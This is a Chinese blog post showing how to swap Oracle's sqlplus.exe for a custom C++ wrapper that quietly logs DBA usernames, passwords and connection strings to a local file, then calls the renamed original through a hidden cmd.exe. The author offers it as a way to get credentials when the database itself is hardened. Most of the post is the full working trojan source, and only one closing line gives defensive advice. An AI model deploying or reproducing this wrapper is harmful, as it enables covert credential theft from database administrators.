当DBA登录本地或远程数据库时,为了省事,用 sqlplus 用户名/ 密码 @连接服务名 的方式登录数据库是再平常不过了,而我们如果将Oracle的SQLPlus换成我们自己的实现,然后当使用时,记录下它的登录信息,就得到了数据库的用户名,密码等信息。 这是一种很简单
当DBA登录本地或远程数据库时,为了省事,用"sqlplus 用户名/密码@连接服务名" 的方式登录数据库是再平常不过了,而我们如果将Oracle的SQLPlus换成我们自己的实现,然后当使用时,记录下它的登录信息,就得到了数据库的用户名,密码等信息。
这是一种很简单的,偷龙转凤的方式,有其局限性。但有时,如果数据库本身的防护很严,从DBA客户端这边下手,利用这种方式有时也能有意外的收获。
效果图:
这种方式跑起来和Oracle原来的是一模一样的. 光看是看不来什么地。
被记录下的登录信息:
代码如下:
/** *author: xiongchuanliang *desc: 用自定义的sqlplus替换掉Oracle原版的,并在自定义的程序中记录下用户的登录信息的演示 1. 找到Oracle自带的sqlplus.exe,将其命名为其它文件 2. 用自定义的替换掉原版 */ #include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <iostream> #include <fstream> using namespace std; HRESULT CMDEx(const char *pCmd) ; //将原版的sqlplus.exe改为sqlplus_ora.exe"; const string sqlplus_path = "C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe"; const string oper_log = "C:/mysqlplus.log"; int main(int argc,char* argv[]) { string sqlplus_cmd = sqlplus_path; ofstream flog(oper_log,ios::app); SYSTEMTIME sys; if(flog){ GetLocalTime(&sys); flog<<sys.wYear<<"-"<<sys.wMonth<<"-"<<sys.wDay<<" "<<sys.wHour<<":"<<sys.wMinute<<":"<<sys.wSecond<<" "; } for(int i=1;i<argc;i++) { sqlplus_cmd.append(" "); sqlplus_cmd.append(argv[i]); if(flog) flog<<" "<<argv[i]; } if(flog){ flog<<endl; flog.close(); } cout<< "演示:%s\n"<<sqlplus_cmd.c_str()<<endl; CMDEx(sqlplus_cmd.c_str()); return 0; } HRESULT CMDEx(const char *pCmd) //LPCTSTR pszCMD { #if defined(WIN32) || defined(WIN64) if(pCmd == NULL || pCmd[0] == 0) { return S_FALSE; } STARTUPINFOA si; PROCESS_INFORMATION pi; HANDLE hRead, hWrite; SECURITY_ATTRIBUTES sa = {0, NULL, TRUE}; //创建匿名管道 if(!CreatePipe(&hRead, &hWrite, &sa, 0)) { return S_FALSE; } ZeroMemory( &pi, sizeof(pi) ); ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.wShowWindow = SW_HIDE; si.hStdOutput = hWrite; si.hStdError = hWrite; si.hStdInput = hRead; si.dwFlags = STARTF_USESHOWWINDOW; char szCMD[1024] = {0}; sprintf_s(szCMD,1024,"cmd.exe /C %.1000s",pCmd); //创建进程执行命令 if(CreateProcessA(NULL,szCMD , NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { //等待命令执行完成 WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(hWrite); DWORD dwRet, dwReaded; char szBuf[256] = {0}; //获取进程执行返回值 GetExitCodeProcess(pi.hProcess, &dwRet); //读取控制台终端输出 while(ReadFile(hRead, szBuf, 255, &dwReaded, NULL)) { szBuf[dwReaded] = 0; //输入命令内容到屏幕 cout<< szBuf <<endl; memset(szBuf,0,256); } CloseHandle(hRead); return HRESULT_FROM_WIN32(dwRet); } else { CloseHandle(hWrite); CloseHandle(hRead); return(HRESULT_FROM_WIN32(GetLastError())); } #else return 0; #endif }这仅演示了下基本功能,以此类推,其它数据库的一些命令行程序也可以用这种方式做,对这种方式最好的防护方法是在输入连接字符串时不输入明文的密码。
MAIL: xcl_168@aliyun.com
BLOG: http://blog.csdn.net/xcl168